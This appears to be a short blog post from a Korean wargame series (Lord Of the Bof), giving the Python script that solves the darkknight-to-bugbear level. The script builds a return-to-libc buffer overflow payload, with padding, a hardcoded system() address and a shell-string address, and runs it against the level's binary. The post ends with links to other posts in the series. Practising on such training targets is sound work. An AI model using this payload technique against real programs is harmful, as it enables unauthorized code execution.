exploit.py
import os
from struct import *
p = lambda x : pack("<L" , x)
path = '/home/darkknight/bugbear'
systemAddress = p(0x40058ae0)
shellParamAddress = p(0xbffffc6d)
payload = "A"*44 + systemAddress + "BBBB" + shellParamAddress
os.execl(path,path,payload)
'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글
[Remind] LOB giant-> assassin (0) | 2019.04.18 |
---|---|
[Remind] LOB bugbear -> giant (0) | 2019.04.18 |
[Remind] LOB golem -> darkknight (0) | 2019.04.16 |
[Remind] LOB skeleton -> golem (0) | 2019.04.16 |
[Remind] LOB vampire -> skeleton (0) | 2019.04.16 |